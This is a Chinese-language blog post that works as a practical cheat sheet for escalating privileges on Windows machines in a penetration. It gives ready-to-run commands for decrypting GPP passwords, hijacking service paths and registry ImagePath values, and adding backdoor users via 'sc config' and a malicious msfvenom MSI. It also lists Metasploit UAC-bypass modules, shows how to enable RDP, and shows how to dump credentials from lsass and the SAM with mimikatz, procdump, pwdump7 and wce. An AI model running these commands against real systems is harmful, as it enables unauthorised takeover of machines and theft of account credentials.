Yoga7xm's Blog

内网渗透--本机提权

字数统计: 3.7k阅读时长: 14 min
2019/04/09 Share

本机权限的提升

GPP在内网域环境中的利用

GPP是指组策略首选项,GPP通过操作组策略对象GPO对域中的资源进行管理。

SYSVOL是AD里面一个存储域公共文件服务器副本的共享文件夹,所有的认证用户都可以读取。SYSVOL包括登录脚本,组策略数据以及其他域控所需要的域数据。SYSVOL能在所有域控里面进行自动同步和共享

SYSVOL存储在

1
\\<Domain>\SYSVOL\<Domain>\Policies\

因此,简单的来说就是,出于想更新每台主机上本地账户密码的目的,利用GPP可以指定某个域账户为所有计算机的本地计算机管理账户。而这个账号存储在SYSVOL中的某个xml文件中,其中的cpassword值为AES加密值。同时AD中的所有用户都能读取该文件,对于AES对称加密后的密文,微软采用的是固定密钥,所以通过解密加密值可获取密码

可能存在密码的文件

1
2
3
4
5
6
Preferences\Groups.xml
Services\Services.xml
ScheduledTasks\ScheduledTasks.xml
Printers\Printers.xml
Drives\Drives.xml
DataSources\DataSources.xml

xml文件内容,可以利用GPPPassword.ps1解密

1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8" ?> 
- <Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
- <User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="Admin" image="2" changed="2019-04-09 05:16:55" uid="{9E48E922-2FB1-48B4-B487-54900442855D}">
<Properties action="U" newName="" fullName="" description="" cpassword="1dLl2PMSed1A9KZn/hQgrg" changeLogon="0" noChange="0" neverExpires="1" acctDisabled="0" userName="Admin" />
</User>
</Groups>
1
2
3
>powershell -ep bypass
>Import-Moudle .\Get-GPPPassword.ps1
>Get-GPPPassword

本地EXP溢出提权

传送门

Windows EXP大全

系统错误系统配置提权

可信任服务路径漏洞

Trusted Service Paths漏洞是由系统中的“CreateProcess”函数引起的,利用了windows文件路径解析的特性,并涉及了服务路径的文件/文件夹权限,存在缺陷的服务程序利用了属于可执行文件的文件/文件夹权限。如果权限合适,我们可以上传恶意可执行文件。简单讲就是查找系统服务文件中存在非引用路径。如果一个服务调用可执行文件,没有正确处理引用的全路径名,就可以利用这个漏洞。

一个小Demo,编译之后存放在为C:\Program Files\Test\test.exe

1
2
3
4
5
6
#include <stdio.h>

int main(int argc, char *argv[])
{
printf("[*] Executed %s\n", argv[0]);
}

从命令行直接通过其绝对路径执行该程序:

1
2
3
4
5
6
7
8
9
10
$ "C:\Program Files\Test\test.exe"
[*] Executed C:\Program Files\Test\test.exe

$ C:\Program Files\Test\test.exe
'C:\Program' 不是内部或外部命令,也不是可运行的程序
或批处理文件。

#将test改为Program.exe之后并放入C盘下
$ C:\Program Files\Test\test.exe
[*] Executed C:\Program

对于上面的空格,Windows都会尝试寻找并执行名字与空格前的名字相匹配的程序,所以不加引号的时候就会报错。此时,假如能上传一个适当命名的后门程序,那么当服务重启的时候就会以system权限运行(大多数情况下)

所以,理论上一个服务的可执行文件的路径没有用双引号封闭,且包含空格,那么就是存在漏洞的

  1. 检测是否存在漏洞
1
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr/i /v """
  1. 检查对有漏洞的目录是否具有写入权限
1
icacls "C:\Program Files"
  1. 使用trusted_service_path模块

系统服务的错误权限配置漏洞

Windows系统服务文件在操作系统启动时会加载执行,并且在后台调用可执行文件。比如,JAVA升级程序,每次重启系统时,Java升级程序会检测Oracle网站是否有新版的Java程序。而类似Java程序之类的系统服务程序加载的时候往往都是运行在系统权限上的。

所以如果一个低权限的用户对于此类系统服务调用的可执行文件具有可写的权限,那么就可以将其替换成恶意的可执行文件,从而随着系统启动服务而获得系统权限。

  1. 检查易受攻击的服务
1
2
3
4
5
6
7
accesschk.exe -uwcqv "Authenticated Users" * /accepteula

#"Authenticated Users"指Windows系统中所有使用用户名、密码登录并通过身份验证的账户,不包括来宾账户Guest。也可以使用当前用户用户名来列出所以可以被当前用户修改的服务。
#SERVICE_ALL_ACCESS的意思是对“Vulnerable Service”的属性拥有完全控制权。

#-->RW 360rp
# SERVICE_ALL_ACCESS
  1. 查看可以完全控制的服务的属性
1
sc qc 360rp
  1. 修改服务配置执行命令

一般而言BINARY_PATH_NAME参数指向了该服务的可执行程序的路径。如果将这个值修改成恶意程序的路径(或者命令),那么在该服务下一次启动时就会以System权限运行恶意程序(或者命令)

1
2
3
sc config 360rp binpath="net user yoga 123 /add"
sc stop 360rp
sc start 360rp

不安全的注册表权限配置

在Windows中,和服务有关的信息存储在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services注册表项中。以服务360rp为例,服务对应的程序路径存储在HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\LenovoDrvSv\ImagePath中 ,如果对这一键值有写入权限就可以修改服务对应的程序路径,让系统以System权限运行恶意程序

检查注册表项的权限

1
subinacl.exe /keyreg "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\LenovoDrvSv\ImagePath" /display

如果拥有对注册表的写入权限,就可以修改注册表,使得服务启动时以System运行恶意程序

1
reg add "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\LenovoDrvSv" /t REG_EXPAND_SZ /v ImagePath /d "D:/houmen.exe" /f

AlwaysInstallElevated

AlwaysInstallElevated是一种允许非管理员用户以System权限运行.MSI文件的设置。默认情况下是禁用此设置的,需要管理员在组策略编辑器中手动启用

通过命令查询是否开启

1
2
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

开启返回:

1
2
3
4
5
HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer
AlwaysInstallElevated REG_DWORD 0x1

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
AlwaysInstallElevated REG_DWORD 0x1

未开启就会返回 系统找不到指定的注册表项或值

如果系统开启了AlwaysInstallElevated,可以使用msfvenom创建恶意msi文件,然后使用msiexec进行开火

1
2
3
4
5
6
7
msfvenom -f msi -p windows/adduser USER=msi PASS=Yoga123!@ -o /root/msi.msi

msiexec /quiet /qn /i d:\msi.msi

# /quiet 安装过程中禁止向用户发送消息
# /qn 不使用GUI
# /i 安装程序

或者直接使用exploit/windows/local/always_install_elevated模块提至System权限

计划任务

适用系统版本:

  • windows2000
  • windows2003
  • windows XP

at 是一个发布定时任务计划的命令行工具,语法比较简单。通过at命令发布的定时任务计划,Windows默认以System权限运行。定时任务可以是批处理,也可以是一个二进制文件

语法: at 11:00PM calc.exe/interactive可以开启界面交互模式

利用Regsvr32+exploit/multi/script/web_delivery 模块

绕过Windows用户账户控制

UAC简介

用户账户控制(UAC)是微软公司在其Windows Vista及更高版本操作系统中采用的一种控制机制。其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序损坏系统的效果。

UAC.png

UAC需要授权的动作包括:

  • 配置Windows Update
  • 增加或删除用户账户
  • 改变用户的账户类型
  • 改变UAC设置
  • 安装ActiveX
  • 安装或移除程序
  • 安装设备驱动程序
  • 设置家长控制
  • 将文件移动或复制到Program Files或Windows目录
  • 查看其他用户文件夹

Bypass UAC的几种方式

  1. 白名单提权机制 - autoElevate
  2. DLL劫持
  3. Windows自身漏洞提权
  4. 远程注入
  5. COM接口技术

白名单绕过UAC

原理

具有autoElevate属性True的应用程序会在启动时自动提升权限,而这些应用程序往往都具备微软的签名,微软任务它是可信的。故此该程序启动时,将会以管理员身份启动。可以通过对这些白名单程序进行DLL劫持、注入或是修改注册表执行命令的方式启动目标程序,实现Bypass UAC提权操作

方法
  • step1:复制DLL文件到指定目录下,DLL的名字取决于操作系统版本
  • step2:从上面的目录执行exe,将自动加载DLL,完成权限的提升

MSF Bypass UAC

  1. Windows权限升级绕过UAC保护

此模块将通过进程注入使用可信任发布者证书绕过Windows UAC。它将生成关闭UAC标志的第二个shell。

1
2
3
msf > use exploit/windows/local/bypassuac
msf exploit windows/local/bypassuac) > set session 1
msf exploit(windows/local/bypassuac) > exploit
  1. 内存注入

该模块将直接运行在内存中的反射DLL中,由于它并不触碰硬盘,因此可以最大限度地降低被安全检测的概率。 (win7有效)

1
2
3
msf > use exploit/windows/local/bypassuac_injection
msf exploit(windows/local/bypassuac_injection) > set session 1
msf exploit(windows/local/bypassuac_injection) > exploit
  1. 通过FodHelper注册表项

该模块通过在当前用户配置单元下劫持注册表中的特殊键,并插入将在启动Windows fodhelper.exe应用程序时调用的自定义命令来绕过Windows 10 UAC。

1
2
3
msf > use exploit/windows/local/bypassuac_fodhelper
msf exploit(windows/local/bypassuac_fodhelper) > set session 1
msf exploit(windows/local/bypassuac_fodhelper) > exploit
  1. 通过Eventvwr注册表项

此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows事件查看器时调用的自定义命令来绕过Windows UAC。它将生成关闭UAC标志的第二个shell。

1
2
3
msf > use exploit/windows/local/bypassuac_eventvwr
msf exploit(windows/local/bypassuac_eventvwr) > set session 1
msf exploit(windows/local/bypassuac_eventvwr) > exploit
  1. 通过COM处理程序劫持

此模块将通过在hkcu配置单元中创建COM处理程序注册表项来绕过Windows UAC。当加载某些较高完整性级别进程时,会引用这些注册表项,从而导致进程加载用户控制的DLL。这些DLL包含导致会话权限提升的payload。

1
2
3
msf > use exploit/windows/local/bypassuac_comhijack
msf exploit(windows/local/bypassuac_comhijack) > set session 1
msf exploit(windows/local/bypassuac_comhijack) > exploit

Invoke-PsUACme

传送门

是nishang的一个脚本。

1
2
3
4
5
6
7
8
#加载脚本
> . .\Invoke-PsUACme.ps1

#Payload为自定义要执行的程序;method为bypass的方式,包括Sysprep,OOBE,ActionQueue等几种;Verbose显示程序运行过程;CustomDLL64,CustomDLL32可以指定自定义DLL

> Invoke-PsUACme -Verbose
> Invoke-PsUACme -method sysprep -Payload "cmd.exe"
> Invoke-PSUACMe -CustomDll64 C:\test\test64.dll -CustomDll32 C:\test\test32.dll -Verbose"

使用RunAS提权

利用的是msf中的exploit/windows/local/ask 模块,创建一个可执行文件,目标机会运行一个发起提升权限请求的程序,提示用户是否要继续运行,如果选择是,就会触发返回一个高权限的meterpreter shell

【注】

  1. 系统当前用户需要在管理员组或者知道管理员密码
  2. 为了避免给杀毒软件查杀,该可执行文件(需进行免杀处理)的创建要使用EXE::Custom选项。

获取哈希

常用Windows远程连接命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#设置远程桌面端口
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f

#通用开启远程桌面
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

#检查端口状态
netstat -an|find "3389"

#For Win03
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

#For Win08
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

#For Everyone win7前俩条即可
wmic /namespace:\root\cimv2 erminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

#关闭远程桌面
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 0
wmic /namespace:\root\cimv2 erminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1


#msf开启3389
meterpreter > run post/windows/manage/enable_rdp

Windows Hash获取

Meterpreter

都需要system权限

  1. run hashdump
  2. run powerdump
  3. run post/windows/gather/smart_hashdump
  4. mimikatz
1
2
3
4
5
6
7
8
9
10
load mimikatz
#获取本地用户信息及密码...
meterpreter > wdigest

#获取kerberos用户信息及密码
meterpreter > kerberos

#执行mimikatz原始命令
mimikatz_command -f samdump::hashes
mimikatz_command -f sekurlsa::searchPasswords
mimikatz
  1. 首先用管理员账号运行cmd.exe
  2. 紧接着进入mimikatz,运行
1
2
3
4
5
privilege::debug
sekurlsa::logonpasswords

#非交互式
mimikatz.exe ""privilege::debug"" ""log sekurlsa::logonpasswords full"" exit >> shash.txt

结果:

windows2003系统中可以导出账号hash值以及明文密码

windows7系统中可以导出账号hash值以及明文密码

win10X64系统(需要管理员权限)中只能导出账号NTLM的hash值,无法获取明文

windows2008系统中可以导出账号hash值以及明文密码

windows2012系统中可只能导出账号NTML的hash值,无法获取明文

getpass

只能获取windows2003以及windows7和win2008的明文密码,有32和64为之分,从mimiktaz编译而成的exe

procdump+mimikatz
  1. 首先用procdump下载lsass进程的内存,而且因为procdump是Microsoft Sysinternals tools中的工具,所以AV是不会查杀它的(记住用管理员运行cmd )或者直接在任务管理器中找到"lsass.exe",然后选择创建转储文件拿到dmp文件
1
procdump.exe -accepteula -ma lsass.exe  lsass.dmp 2>&1
  1. 接着用mimikatz打开dmp文件,获取内存中的内容(dmp可以下载到本地主机再查看里面的内容,相当于离线模式。但是得确保主机内核版本得一致)
1
mimikatz.exe log "sekurlsa::minidump lsass.dmp" sekurlsa::logonPasswords exit
pwdump7

使用管理员运行cmd,然后运行pwdump7.exe

1
2
3
4
5
#导出sam文件
pwdump7.exe -d c:\windows\system32\config\sam sam

#导出system文件
pwdump7.exe -d c:\windows\system32\config\system system

结果:

windows 2003系统中可导出账号LM和NTLM的hash值

windows7系统中只能导出账号NTLM的hash值

windows10系统(需要管理员权限)中只能导出账号NTLM的hash值

window2012系统中只能导出账号NTLM的hash值

windows2008系统中只能导出账号NTLM的hash值

wce

WCE支持Windows XP,Windows 2003,Vista,Windows 7和Windows 2008(所有SP,32位和64位版本)

1
2
3
4
5
6
7
#wce的pass传递
wce.exe -s <username>:<domain>:<lmhash>:<nthash>
wce.exe -s <username>:<domain>:<lmhash>:<nthash> -c cmd.exe
#获取hash值
wce.exe -o output.txt
#获取明文
wce.exe -w

结果:

windows2003系统中可获取hash值,也可以获取hash明文

windows7系统中可获取hash值,也可以获取hash明文

windows2008系统中可获取hash值,也可以获取hash明文

windows10系统中无法获取hash值

windows2012系统中无法获取hash值

QuarkPwDump

Quark PwDump是从Windows操作系统提取凭据的本地Win32工具

1
quarkspwdump  --dump-hash-local  -o  hash.txt

结果:

windows2003系统中可以导出本地hash值

windows7系统中可以导出本地hash值

windows10系统可以导出本地hash值

windows2008系统中可以导出本地hash值

win2012系统中可以导出本地hash值

CATALOG
  1. 1. 本机权限的提升
    1. 1.1. GPP在内网域环境中的利用
    2. 1.2. 本地EXP溢出提权
    3. 1.3. 系统错误系统配置提权
      1. 1.3.1. 可信任服务路径漏洞
      2. 1.3.2. 系统服务的错误权限配置漏洞
      3. 1.3.3. 不安全的注册表权限配置
      4. 1.3.4. AlwaysInstallElevated
      5. 1.3.5. 计划任务
  2. 2. 绕过Windows用户账户控制
    1. 2.0.1. UAC简介
    2. 2.0.2. Bypass UAC的几种方式
    3. 2.0.3. 白名单绕过UAC
      1. 2.0.3.1. 原理
      2. 2.0.3.2. 方法
    4. 2.0.4. MSF Bypass UAC
    5. 2.0.5. Invoke-PsUACme
    6. 2.0.6. 使用RunAS提权
  • 3. 获取哈希
    1. 3.1. 常用Windows远程连接命令
    2. 3.2. Windows Hash获取
      1. 3.2.0.1. Meterpreter
      2. 3.2.0.2. mimikatz
      3. 3.2.0.3. getpass
      4. 3.2.0.4. procdump+mimikatz
      5. 3.2.0.5. pwdump7
      6. 3.2.0.6. wce
      7. 3.2.0.7. QuarkPwDump